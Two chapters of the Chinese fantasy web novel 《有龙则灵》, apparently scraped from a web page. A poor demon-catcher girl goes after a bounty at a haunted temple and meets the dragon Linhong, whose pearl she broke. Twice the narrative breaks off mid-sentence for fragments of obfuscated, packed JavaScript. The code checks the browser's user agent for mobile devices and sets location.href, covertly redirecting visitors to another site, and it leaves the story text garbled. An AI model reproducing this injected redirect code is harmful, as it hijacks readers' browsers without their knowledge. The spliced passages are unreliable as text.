《有龙则灵》 3. 古庙篇(一) 梁楹蒙着被子睡了一夜,翌日午时,梁楹才睁眼,出了一夜汗,那股难受劲儿消失了,虽然说不上神清气爽,但身上也着实是轻松多了。 关于昨夜的事,梁楹只记得最后是松阳将她从海里救了起来,乍一睁眼,看到熟悉的房间,才明白过来是到了万和客栈了,自从来到海都城,梁楹一直暂住在这家客栈。 屋子里熏着青桂香,清香淡淡,梁楹的神智也渐渐清醒,便坐了起来,一眼瞧见了房中的衣桁,昨日她穿的那身黄衫正挂在上面,葫芦、锦袋系在衣服边上。 盯了锦袋半晌,梁楹下了床,径直朝着挂衣服的衣桁走去,拽下了那个锦袋,打开看了一眼,里面的玉珠碎片还在。 昨日那些遭罪的画面慢慢浮现在心头。 怎么会碰到龙呢?这都是哪门子邪事? 不过终究是她打碎了那颗宝珠,欠人的债,还得还,这往后的日子又多了一桩难事。 想到这,心中像是埋了一团乱麻,梁楹拿过紫檀圆桌上的水壶,坐着给自己倒了一杯水,喝下去后,喉咙润了不少,又觉得身上黏腻得紧,便唤来店里老仆上热水。 热水还要趁烧,梁楹无事可做,就坐在案桌边托着下颌发呆,听说海都城地下有所谓“天市”,奇人方士甚多,那里会不会有让宝珠复原的方子?又想着昨夜应该是松阳等人将她带了回来,救命之恩,理应给他们当面道谢。 也不知道他们现在还在不在店内?想到这里,梁楹如干死鱼目般的双眼又有了活气,立马穿上昨日那被硬生生晾干了的衣服下了二楼。 “孙姐姐!”梁楹一边下楼,一边唤着这家客栈的女店主。 “哟,阿楹姑娘,昨夜你昏昏沉沉,可是吃醉了酒掉进湖里了?” 孙掌柜正在算账,一看是梁楹叫她,眉毛一挑,来了兴趣,将账本放到一边又继续说:“昨夜啊,你可是让我好生担心呢。” 梁楹是万和客栈最小的住户,孙掌柜拿她当孩子,平日里也愿意和她多说两句,昨天也不知道梁楹去干了什么,弄成那副狼狈模样,孙掌柜也揣了几分好奇。 梁楹自然是不会告诉别人昨天她遇上了什么事,况且说了别人也不会信,她像往常一样,乐呵呵走到孙掌柜身旁,却只问道:“孙姐姐,昨夜送我回来的人呢?” 孙掌柜是个精明的女子,听梁楹这么问,眉眼如丝,道:“怎么,你关心这个?那是你什么人?” “算是恩人。” “恩人?”孙掌柜笑了一下,从柜台匣子里抽出一封信来,轻轻放到桌台上,说:“算了,不逗你了,送你回来的是个女子,这不,还给你留了一封信。” “女子?” 孙掌柜又笑了一下,随即拿起了自己的账本,并不答话。 梁楹有些呆愣,不知道这是唱的哪一出戏。 “愣着干什么,快拆开呀!我可没偷看啊。”孙掌柜一边算账,一边留意梁楹的神色。 “哦,对。” 梁楹拆开了那封信,信上的字迹不算好看,但是谁留的信,一目了然。 信上写道:“阿楹姑娘,家中偏远,念及姑娘名声,未能亲自送你回海都城住所,愚妹虽小,但晓人事,故而让她照顾你回客栈,姑娘昨日救命之恩,松阳千恩万谢,来日必报答姑娘。” 所以,他们是已经走了吗?梁楹看着信上最后一句话,心中有百般感受,报答是不用了,昨日要不是松阳等人,她怕是也难以回来。 谁让她遇上了一条龙。 “看完啦?”孙掌柜轻轻拿账本敲了一下梁楹的头。 “嗯。”梁楹点了点头。 孙掌柜做生意多年,眼观八方,左右逢源,什么事猜不出来,她一早猜到梁楹应该是遇上什么事了,昨夜多半是有不便,所以是城头松家的女儿送她回来,但究竟什么事,孙掌柜就不知道了,还想着初来乍到的梁楹接下来就该问松家人住哪了,自己也好趁机打听一番,结果却听梁楹问道:“孙姐姐,海都城的天市怎么去?” 孙掌柜有些诧异,“天市?” “我有个玉佩摔碎了,对我很重要,如果不能修好它,只怕我以后也不能捉妖了,听说天市有专门替人修复宝物的行当,我想去。”梁楹全在胡说八道,她两袖空空,钱财很少,更没有什么玉佩。 同样,孙掌柜也没有轻信她,而是试探道:“你?玉佩?宝物?阿楹,你跟姐姐细说,你不会昨夜跟着松家人去偷东西了吧?我听说,那老松最近想发横财,咱们海都城啊,有三样东西最为宝贵,一是鲤鱼楼的玉友酒,二是圣女的玲珑血,三是海上的龙涎香,龙涎香知道吗?那是你们大梁皇亲国戚才能用的香料,老松一个木匠,居然想靠这个发财,就连专门的采香人好多都因此丧了命。” 梁楹心里不是滋味,料想采香的事应该瞒不过孙掌柜,但她这话里话外,不是在说老松是个骗子吗?那上了贼船的自己不就相当于冤大头吗?再往下想这件事就是在给自己添堵! 故而梁楹装作不在意道:“当然没有,这玉佩是我从青泥城带来的。” 孙掌柜半信半疑,但看梁楹那故意不谈的模样,心中已了然了八九分,便也没继续在言语间刺探梁楹,只是劝道:“那地方,也是要用钱的,都说是天市了,卖的东西自然也不便宜,你若真想去,地方我也知道在哪,不过,你有钱吗?” 孙掌柜给梁楹比了一个数,按现在的情况来说,把梁楹卖了能值上这个数。 又是要钱,昨天要不是因为钱,也不会遇上那条龙了,梁楹瞬时觉得心中又添了一个大包袱,无奈叹气道:“有这地方就好了,钱,我自会想办法。” 孙掌柜知道梁楹情况,怕她想破脑袋也想不出来,便说道:“先别想了,先吃饭。” 梁楹不答话,只是看着上上下下的客人,也不知道还能在这住多久,钱囊告罄,梁楹都害怕会被客栈掌柜的给撵出去。 孙掌柜却像是没看见她这担忧的样子,拨弄算盘继续道:“人不吃饭就没力气,就算你是捉妖师,也得使力气不是?七日后,我再找你结账。” 说完,孙掌柜双手搭在梁楹肩上,将她扳向客栈大堂的方向,一路推着她直到把梁楹按在长凳上。 “这样就对了,吃饭!还有啊,人家特意叮嘱了,让你好生休息,所以就算你问我,他们住在哪,我也是不会说的。” “啊?” “啊什么啊?吃饭!” “上菜咯!”小二哥见孙掌柜使来的眼色,连忙端上来几盘菜,菜的分量都不小,蔓菁萝卜羹、白蜜山药饼,梁楹一个人定是吃不完的,更让她难受的是,桌上怎么有两条鱼?梁楹昨天在水里泡了太久,现在看见鱼就浑身不自在。 小二哥看梁楹盯着鱼看,脸色不是很好的样子,连忙解释道:“素蒸鲈鱼,乳酪鳜鱼,掌柜的说了,鲈鱼给你记账,鳜鱼算她的。” 这桌菜可不便宜,孙掌柜对梁楹是宽容,但作为一个商人,也无时无刻不在精打细算着坑梁楹,可以说是连骗带强迫。 梁楹反应了片刻,明白过来是又被孙掌柜给下套了,真乃一个奇女子是也,三分侠义心肠,七分狡诈多端,但梁楹早已习以为常,只是看了小二哥一眼,道:“那就多谢掌柜的了。” 说完,就动了筷子。 她也是真饿了,但是那两盘鱼梁楹始终没碰。 没过多久,陆陆续续店里就坐满了人,谈话声此起彼伏。 席间有几人在谈论一桩怪事。 “可不是,那樵夫,就那周疯子,给吓得都快真疯了。” “我听说啊,是进了个什么神庙,差点没出来!” “那古庙啊,荒废了十几年了,白天看着就怪渗人,平时也没人去,要不是躲雨,周疯子估计也不会进去。” “城防营都知道这件事了,还要下令悬赏呢,揪出装神弄鬼者,听说能得一锭金子。” 几人正谈得起劲,忽地见一个姑娘端着一盘鲈鱼,稳稳当当放在他们的餐桌上,给这桌平平无奇的菜添了不少彩。 “这是?”其中一个人问。 梁楹眼里漾出笑意,荒废的古庙,打柴的樵夫,多么正宗的异闻志怪,这捉妖生意不就找上门来了? “各位大哥,古庙的事,还请细说,这鱼算我请的。” “姑娘,无缘无故的,你是什么人啊?”天下没有免费的午餐,桌上的几人很难不怀疑梁楹有什么目的。 “她啊,可了不得,捉妖师!”小二哥正给其中一位客人倒酒,见到梁楹想要打听他们口中的事,便主动吹嘘起来:“昨夜,阿楹姑娘大战海妖……” 昨夜的事,小二哥自然是不清楚,只不过海都城的妖怪大多就是从海里来的,他就随便编了一段新故事,口才之好,令几位大哥拍案叫奇,杯中的酒是一饮而尽。 梁楹见他们的酒都见了底,单手叠指结印,桌上青冬瓷酒壶便凌空而起,自动垂下,给每盏酒杯又斟上了新的酒。 “妙哉!” 几位大哥看了乐子,见站在面前使了仙术还笑眯眯的小姑娘,也不管梁楹有没有小二哥夸得那么厉害,当即笑纳了那盘“素蒸鲈鱼”,邀梁楹同坐。 梁楹趁机坐了下来,听了个绘声绘色的故事,很明显,这几位大哥讲故事的能力也不逊于跑堂的小二哥。 他们说,前天傍晚,天空一片灰蒙,阴沉沉地笼罩着海都城,砍柴的周疯子正从城外背着一捆柴回来,好巧不巧,天下起了雨,周疯子没法子,只能找个避雨的地,可离海都城还有几里路,哪来的人家避雨? 于是他想起了一座很久没有香火的神庙,就在这附近。 就这么一避雨,就出问题了,雨停后,周疯子回家,开始说疯话。声称自己在庙里看见神仙了,那是四个绝色出尘的仙子,他甚至还能说出她们的名字,碧琼、玉华、山元、画泉。 据樵夫所说,他一进庙里就闻见了一阵奇香,接着这几位仙子就出现了,碧琼、玉华两位仙子在对弈,山元在抚琴,画泉在逗弄一只狸猫,这只猫被挠的痒了,跳上了棋盘,一个没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16832010|191185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留意,两位仙子的棋局就被扰乱了。 见这一幕,樵夫周疯子突然有些口渴,他正站在一棵玉树下,碧绿的翡翠树叶往下滴着仙露,他没忍住舔了一口露珠,只这一尝,两眼目光开始朦胧,神庙的一切景物也变得模糊起来,不久就晕倒了,再醒来,几位仙子、棋局、猫、玉树都不见了,周疯子失魂落魄地回了家,一夜之间竟病了,也不砍柴了,见人就说疯话。 一席话听完,梁楹打定主意要去这个神庙一探究竟,那樵夫多半是中邪了,不是有人装神弄鬼,那就是真有妖孽,可不能任凭荒庙里的东西害人。 更重要的是,有酬金,眼下她不正缺钱吗? “姑娘,你真是捉妖师?”尽管知道梁楹真的懂仙术,但几人看着梁楹不过十四五岁,毕竟是个小姑娘,还是有些担忧。 “如假包换。” 梁楹也来不及沐浴了,穿着昨天的脏衣服就离了客栈,拿着罗盘和自己随身的龟玉刀就出发了。 还在饭后闲谈的几位大哥看梁楹急匆匆的样子,有些疑惑地问道:“孙掌柜,阿楹姑娘怎么走那么急?” “怕人抢她活。” “别的捉妖师也不这样啊。” “因为没她那么穷。” 这些寒碜话梁楹自然是没有听见,她一路边走边问,想要找到樵夫说的那个古庙,那个地方离入城大路很远,因为偏僻,梁楹后面也遇不上什么能够问路的人,只能凭着罗盘上指针的方向瞎转,但好歹也是让她撞上了。 古庙在一条长满杂草的小路上,看样子,这以前也是过行人的道路,但因为有了新的进城大路,这条小路就废弃了,连带着古庙的香火也一落千丈,且海都城百姓信奉的神明是天女娘娘,新修了专门的天女庙,这座古庙逐渐无人问津,就成了现在这个人迹罕至的荒凉模样。 梁楹人生地不熟,胡乱转了一下午,这会儿弯月都出来了,樵夫入庙的时间是傍晚,梁楹这会儿直接是黑夜,借着月光的映照,梁楹看了眼面前的荒庙。 这古庙像是个二进门的院子,虽不在山里,但因为有很多石阶,古庙的地势也是逐渐升高,大门牌匾上的庙名已经看不清了,左右两个镇寺的石兽一个没有头,一个只剩下了个石墩子,门上的红漆也快掉干净了,露出发霉的乌木,一黑一红,斑驳又可怖。 凉风吹过,梁楹手上的罗盘指针飞快地转动着,风去了指针也没停,梁楹垂眼看着不停转的罗盘,蓦然觉得手上罗盘有些重,便将罗盘放在断了头的石兽脚下,心中暗想,来对地方了,这古庙绝对有问题,没准儿就藏着一只大妖。 被放在地上的罗盘一刻也不停地转着,直到梁楹孤身走进荒庙的大门,指针才渐渐平息下来,慢慢地指向了大门的方向。 庙里面比外面还要凄凉,梁楹推动木门,只是这门太过老化,“吱呀”一声,晃动了两下,就又恢复成闭合的样子。 梁楹再次用力一推,结果这回半扇门直接倒了。 梁楹的手还愣在空中,“哐当”一声,门就这么被破了,她暗道不好:损坏废弃的古庙大门,应该不会被追责吧? 暗自吸了一口气,安慰自己没人会知道,梁楹就大方跨进了古庙,一进门,就闻到一阵清香。 这是樵夫所说的异香吗? 这古庙与山里的寺庙一样,梁楹一进去,就看见怒目圆睁的金刚塑像正盯着自己,这时正是夜中,怎么都感觉有些渗人,梁楹被盯得浑身不适,不愿在这久留,快速过了山门,而那股清香也越来越浓烈。 奇怪? 这好像不是什么异香,反而有些熟悉,梁楹再次嗅了嗅空气中的清香,颇为诧异,这不是茶的味道吗? 难道说,这古庙里有人? 是哪个捉妖师,来的比她还勤快?梁楹有些急了,眼见着酬金就在眼前了,她怎能被别人抢了先?踩着长满苔藓的石阶,三步作两步走,走到顶,梁楹一把推开第二道门。 院里的景象终于呈现了出来,神庙顶上只有这么一个院子,东南西北每个方向都有一个大殿,供奉着不同的神像。 而石阶之上,院落之中,有人正在煮茶。 火焰比较微弱,悬在两块石头间的茶炉冒着轻烟,烹茶之人将茶炉盖子掀开,更为浓烈的茶香飘了出来,沁人的味道弥漫在衰败的神庙间。 烹茶之人着玄色圆领窄袖袍,袍上刺着祥云暗纹,腰系金玉蹀躞,头发高高束起,俨然一个少年之人,他正将茶汤往一只白色瓷杯中倒去,杯满,他拎起瓷杯,隔着几步远,向着梁楹的方向递过来,月亮的倒影垂在杯中,清澈干净。 “给你的。”黑发少年说道。 梁楹屏住了呼吸,少年透彻的黑色双眸看了过来,平静如水,如同他手上的那盏茶一般安静纯粹。 但是梁楹却看得身心都发毛。 她认得那双眼睛,尽管他化作人形,双眸变了颜色,但那样的眼神,梁楹刻骨难忘。 昨天夜里,海都城下,不就是他用这样平静的眼神恐吓梁楹吗? 4.古庙篇(二) “怎么这样急,难不成你知道我在这?”霖泓放下茶杯,明明知道梁楹肯定会躲着他,也明明知道是自己一路跟着梁楹,却还是要明知故问。 而站在他不远处的梁楹同时也在心中暗想:你怎么知道我会在这? 他这副悠然自得的样子,看着像是在等人,至于等谁,不言而喻。 难道说,昨天那道天雷,把他身上的锁链也给劈开了吗?所以此龙才趁机逃了出来,不嫌麻烦地来追杀自己了。 这可是一件大事,一条龙出来了,要不要上报给海都城主?但梁楹想到昨天他是真心实意想放自己走的,怎么看这人,也不像是个血雨腥风的主,罢了,现在回海都城也来不及了,倒不如看看他想干什么,再做打算。 梁楹在那边一顿胡思乱想,霖泓却只认为她故意冷落自己,不愿答话,在心里冷哼一声,颇不乐意。 “我当你有多机灵,怎么,摔碎了我的落尘珠,还把它带走了,是生怕我找不到你?” 原来是叫落尘珠。 霖泓的话虽没有咄咄逼人,但也绝对说不上温和,故而霖泓一说话,梁楹便感觉昨夜那种压人的气势又回来了。她原本是想修好宝珠,再到海里原样奉还,但现在这条龙出来了,而且怎么看都是他更能复原落尘珠,既然他追着讨要,那不如便还给他罢。 但若说自己是想要给他还原落尘珠才拿走了宝珠碎片,看他这生人勿近的模样,怕是不会信。 梁楹眼眸一转,现编了一套真假参半的说辞。 她道:“我听说,千金之珠,藏在九重之渊,骊龙颔下,原以为是传说,但昨日见到你,才知道原来是真的,想来你的落尘珠极为珍贵,即便是碎了,也应当价值千金,本想拿到人间,请人复原,但可惜无人识货,不如我现在还给你?” 霖泓听到梁楹的答话,眯了下眼睛。 他知道梁楹的话亦真亦假,她话里话外无非是说她贪图钱财,但霖泓不这么觉得,珠子都碎成那样了,能值多少钱?不过真正缘由他也不在意了。 他之前害怕梁楹故意拿走落尘珠,是想去做什么恶事,但现在看来,几乎没有这种可能,毕竟梁楹看上去连自己都没有照顾好。 她还穿着昨天那身衣服,上着梅花纹鹅黄衫子,下着折枝纹鹅黄裙,外罩宽袖紫绢半衫和紫绢罩裙,腰系淡黄色衣带,梳着交心鬓,上有花钿,可惜这一身行头,被海水泡了个透,基本是废了。 突然之间,霖泓就生出了一股莫名的怜悯之心。 “过来说话。” 古庙是很安静,尽管两人隔得有些距离,说话的声音倒也能听见,但霖泓不喜欢让别人站着回话。 霖泓的本意是想要让梁楹坐下,但是这话听在梁楹的耳朵里,可就是另外一个意思了,过去说话,那不就是过去问话吗? 她心中暗叹一口气,今夜月明星稀,微风习习,是个好天气,但怎么就偏偏又遇上难缠的龙呢? “昨天误闯入那处结界纯属意外,我也不知道为何,但既然犯了错,我也认了,要杀要剐,你随意,但如果你不再追究了,生当为奴为仆,死当结草,我必叩谢不杀之恩。” 说这话时,梁楹指尖有些微微发抖,毕竟不知龙的习性是否真的残暴无比,但她还是将腰间的锦袋解下来,打开一个小口后扔到霖泓面前,“碎片都在里面,一片不少。” “海阔从鱼跃,长空任鸟飞,我拿你性命作何用?” 霖泓没看锦袋一眼,反而是继续看着梁楹,没想到她看着有些呆气,却能说出这么一大段废话,也算是没白长嘴,虽然没有一句话是霖泓想听的,但这诚意他也姑且收下了,并指了指自己对面的一块矮石墩,道:“我只是想请你喝一杯茶。” 梁楹心想:喝茶?不会是断头茶吧? “过来。”见梁楹鼓着个眼睛,固执又不敢动,霖泓便又说了一遍。 “不会要你命的。” 哪有神会跟人计较,再说了,昨天说要杀了她也不过就是吓唬吓唬。 落尘珠是很重要,但对霖泓而言,不过是可有可无的东西,他探寻着宝珠的气息,找到这里来,也有赌气的成分在,希灵说好放了他,就因为没有呈上落尘珠,就赏了一道天雷给自己吗?他醒来后,看着自己被劈得焦黑的手指,懊恼不过,又不想看见希灵和那群装模作样的神仙,就将恼怒之气自然而然地转到了梁楹的身上。 更重要的是落尘珠虽神力不再,但若流落人间,也是一个麻烦。 本来想找人撒气,但真的看到梁楹了,他却又不生气了。 他大概能猜到梁楹来这里干嘛,捉妖炼丹,凑够三百颗大妖的妖丹,是能够登上仙山的,蓬莱、方丈、瀛洲,虽不是神界,但却是神首羲元与玄尘共同建立的,为得就是助下界修仙者增长修为,他们派遣神使赴往人间,散布三座仙山的传说,此三大仙山仙雾缭绕,奇珍异宝居多,久而久之天下修仙者无人不知,无人不晓,但仙山向来踪迹飘渺难寻,唯一可知的就是位于海上,离它们最近的城池就是海都城。 梁楹是捉妖师,来到海都城,不是为了登上仙山又是为了什么?她到这来也是为了捉妖,看她这么努力地在修行,霖泓实在是没必要为难她。 “放心,我不会再和你计较了。” 梁楹半信半疑,看着霖泓拿过锦袋,将里面的宝珠碎片都挑了出来,又仔细着拿锦囊收好了,挂在自己的蹀躞带上。 看那随意的样子,好像是真没把她放在心上。 心中芥蒂放下一半,梁楹忐忑地走了过去,坐在霖泓刚刚指的那个矮石墩上,将霖泓放下的锦袋收好,她的五色土还在里面呢。 四下寂静无声,生性爱热闹的梁楹可受不了这死气沉沉的气氛,况且霖泓来这的目的不摸清楚,她也没法静下心来捉妖,于是梁楹问道:“既然不是来找我的,那你来这是为了什么?” “霖泓,我的名字。” 原来是叫霖泓啊,倒也不像什么十恶不赦之人的名号,不过比起名字,梁楹还是更关心霖泓来这的目的。 “哦,那霖泓……来这是为了什么?” 不过是平常的一句话,谁知霖泓听了,目光却突然变得晦暗不明,紧紧盯着梁楹,梁楹被看得心下有些慌。 叫个名字而已,反应这么大吗? 霖泓看着她那呆愣愣的模样,好似从来没有听过“霖泓”这两个字,不过这漠然的反应也在他的意料之中。 一些事,不能问以前的旧相识,却能问梁楹。 “既然你是修仙者,那我问你,神界如今有几位神?可还有人记得五位神首?” 这质问来得突然,梁楹有些茫然,一时竟没反应过来霖泓问了些什么,只呆道了一声:“啊?” 真是呆笨木讷,霖泓都有些气笑了,说道:“看你不像读过几本书的样子,怎么竟带着一股子书卷呆气?罢了,我再问你,如今的神界有几位神,神首又是谁?” 梁楹这回听清楚了,虽不明白霖泓为何突然问这些人尽皆知的事,但碍于他人高马大,又是个喜怒无常的,便一五一十道:“神界如今有神位三百六十个,上界众神皆有自己的神仙洞府,神力最高的除神首外,便是妙真道君葵夫子,世称五元老祖,不过传说他已闭关百年,如今神力修为最高的,应当是五百年前飞升的千明神君李诀。” 说到这,梁楹顿了一下,看霖泓神色如常,才小心翼翼道:“至于你刚刚说的五位神首,倒不曾听过。” 听完这话,霖泓果然又不乐意了。 他眉毛微蹙,问道:“不曾听过?” “下界只有四位神首的说法……” “哦?”霖泓捏着自己的指节,指骨转动,发出清脆的嘎吱声,“你且说说,是哪四位?” 梁楹是很呆,但是这不意味着她不能察觉到霖泓的不悦,这人现在装得平静,只怕心里已经在骂天骂地了,便犹豫着没有再开口。 但霖泓道:“接着说,我想听。” 梁楹闭眼叹气,虽能感觉到霖泓大概是与神界有什么深仇大恨,但奈何霖泓正在她面前,既然他要问,那梁楹只好答。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836305|191185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“羲元、玄尘、映舒、金朔。” “两千年前的大浩劫,羲元、映舒两位上神以身赴死,如今神界的掌管者,是神首玄尘。” 霖泓眼色越发得冷,但他很执着,不见棺材不掉泪,继续问道:“那可曾听说过景弋与商瑾两位上神?” 梁楹抿着嘴,摇了摇头。 见梁楹摇头,霖泓仿若从高处跌落到谷底,心情差极了,一时间他两只透亮的眼睛也如死了一般,少了许多生气。 原来真的已经没人知道他的父母了,尽管景弋也是创造神界的五位神首之一,但早就落入黄泉,身死神灭,而龙族也已经从这世上消失得一干二净了,独留一个他,白白消受这无尽孤独。 玄尘和他的神子希灵还是太狠心,灭掉龙族还不够吗?竟要人身败名裂! 昨夜摔碎霖泓的落尘珠时,他也没有这般冷厉,这个人,看着比昨夜化作龙身时还要冷漠,梁楹有些愕然,竟不知此时的自己是畏惧还是替他失落。 “跟你没关系。” 这么多年过去了,霖泓还是很容易察觉到别人对他的恐惧,他拨弄了一下火,将自己的苦闷气撒在那堆柴火上。 月空郎朗,虫鸣阵阵,有人在跟火撒气,有人则将自己带入成了火,想象着下一个被撒气的会不是是自己。 总之,都沉默不语。 等霖泓给梁楹盛的茶都凉了,霖泓的愤恨才慢慢压制下去,他意识到梁楹一直没走,心中又多了些郁闷,无意继续让别人欣赏他的落魄,便故作随意道:“你到这来是为了捉妖吗?” 霖泓不再拨弄火,梁楹已心生感激,又听见了霖泓的话,才恍然大悟般终于想起自己是来捉妖赚取酬金的。不过梁楹现在对酬金已经失去大半兴趣了,落尘珠已经还给霖泓了,她也不用再付出天价的修理费用。 在她看来,霖泓很像是在没话找话,但还摸不准他的脾气,梁楹便还是顺着他的话如实相告:“捉到这庙里的妖,有酬金,我是为酬金而来的。” 酬金?听到这两字,霖泓也算是来了兴趣,居然会有人请梁楹来降妖? “既有酬金,那必是有人雇你来的,看来你的雇主对你很信任,居然让你一个人就来了。” “我没有雇主。” “那便是海都城贴了告示,你揭了告示而来的吧?” 霖泓对人间这些手段也是有些了解的,毕竟他也在海都城呆过。 谁知他刚问完,竟看见梁楹眼中蒙了一层疑惑。 “难道说,没有告示,我就拿不到钱的吗?” 霖泓懵了。 对啊,一定要告示吗?霖泓毕竟也不长居人间,况且他都被关了多少年了,对这些繁琐的事,他也只能猜测。 他轻咳了一声,道:“应该也不是这样,你若将妖拿下,先不急着化丹,将它缉拿到官府处,再找人替你作证,证明是这古庙的妖,应该也能拿到赏金吧,你知道是哪处贴的告示吗?” 梁楹点点头,十分确定道:“我知道的。” 在万和客栈的时候,她记得自己清楚听到了城防营三个字。 不过关于证人,眼下这里除了霖泓,可真就没其他人了,还不知道这龙脾气到底如何,看着他也不像要走的样子,梁楹胆大地试探着问道:“那你能替我作证吗?” 听到这话的霖泓,自然是无比诧异,梁楹知道自己是在和谁说话吗? 他难以置信地看了一眼梁楹,看着对方眼中说不清道不明的种种期待,又狠不下心来说一个“不”字,只好烦闷地瞥开了眼,道:“你先抓到妖再说吧。” “那你是答应了?” 霖泓闷闷回应:“算是吧。” 说完,霖泓暗生后悔的心思,早知要被当一个证人使,他便不说那话了,不,是根本就不该来这里! 但是看梁楹这天生呆气的模样,捉住这庙里的那只老妖对她来说怕也是够呛,反正来都来了,帮她一把又如何? 帮她降服住了妖,自己就走,昨夜也算是萍水相逢,霖泓实在不想看梁楹命丧于此。